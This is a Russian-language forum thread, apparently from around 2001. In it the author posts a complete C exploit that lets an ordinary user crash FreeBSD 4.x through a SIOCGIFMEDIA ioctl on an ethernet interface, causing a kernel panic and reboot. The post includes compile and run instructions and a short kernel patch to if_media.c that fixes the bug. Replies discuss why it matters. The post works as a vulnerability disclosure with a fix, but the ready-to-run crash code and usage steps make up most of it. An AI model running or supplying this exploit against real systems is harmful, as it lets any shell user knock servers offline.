Рекомендую всех отнестись к этому серьезно...
И не пробовать запускать на своих серверах... :)
Это проверено не только мной и работает!Эти исходники представляются As is, и я собственно не несу никакой ответственности за вред который они могут причинить...
Ну а теперь к делу...
У меня FreeBSD 4.0
на 4.1 и 4.2 это тоже работает...
но не все сетевые карты. Точно работает на vr, rl, de. На ed может сработать, но не уверен (до сих пор не разу не сработало :( )Исходник:
---------------------------
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>int GetMedia (char *dev)
{
int s;
struct ifmediareq ifmr;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
return errno;
strcpy (ifmr.ifm_name, dev);
if (ioctl (s, SIOCGIFMEDIA, (caddr_t)&ifmr) < 0)
return errno;
return 0;
}int main (int argc, char **argv)
{
if (argc < 2) {
printf ("usage: crash <devname>\n");
return -1;
}
GetMedia (argv[1]);
printf ("Try other interface (vr, rl, de, fxp...)!!!\n");
return 0;
}
------------------Обыкновенным юзером!
Компилить с динамической линковкой
Короче: gcc -o crash crash.cЗапустить с именем эзернет интерфейса
./crash vr0 например...Система уходит в кернел паник и в ребут.
Лечить примерно так:
Как будут лечить Фришные разработчики я не знаю, узнаем потом..
Я вылечил так:Файл ядра: net/if_media.c
--- if_media.c.old Mon Feb 26 17:49:29 2001
+++ if_media.c Mon Feb 26 18:26:20 2001
@@ -280,6 +280,11 @@
ifmr->ifm_status = 0;
(*ifm->ifm_status)(ifp, ifmr);
+ /* patch for ioctl crash! */
+ if (ifmr->ifm_count > IFM_TMASK ||
+ ifmr->ifm_count < 0)
+ ifmr->ifm_count = 0;
+
count = 0;
ep = ifm->ifm_list.lh_first;
Эх, все табы порезала... :(
Короче желающим придется патчить ядро руками...
благо всего 3 строчки вставить...
функция ifmedia_ioctl, case SIOCGIFMEDIA:...
Что это Такое???
Эксплойт для FreeBSD.
Уязвимость имени меня. :)
а БОЛЕЕ ПОПОДРОБНЕЕ МОЖНО???Я просто с такого не видела еще..
Куда уж подробнее, исходник перед тобой ;)
А что конкретно интересует?
Я с удовольствием расскажу если кому интересно. :)
А что собсно ето дает? Ну ребутнешь машину и что?
Смысл в чем?
Мне кажеться что это серьезная уязвимость фри.
Любой юзер может, имея доступ на шелл, отправить любой сервер в ребут! так что господа администраторы, патчик лучше наложите. разработчики обещали внести это в следующие стаблы, но когда это еще будет.
Кстати патчик тоже имени меня, как с этим будут справляться разработчики - не знаю.
А есть такие юзеры? :)) Мне и в голову не придет завалить чью-нить машину к которой шелл есть... Хотя придурки всегда найдутся и Юнихоиды тож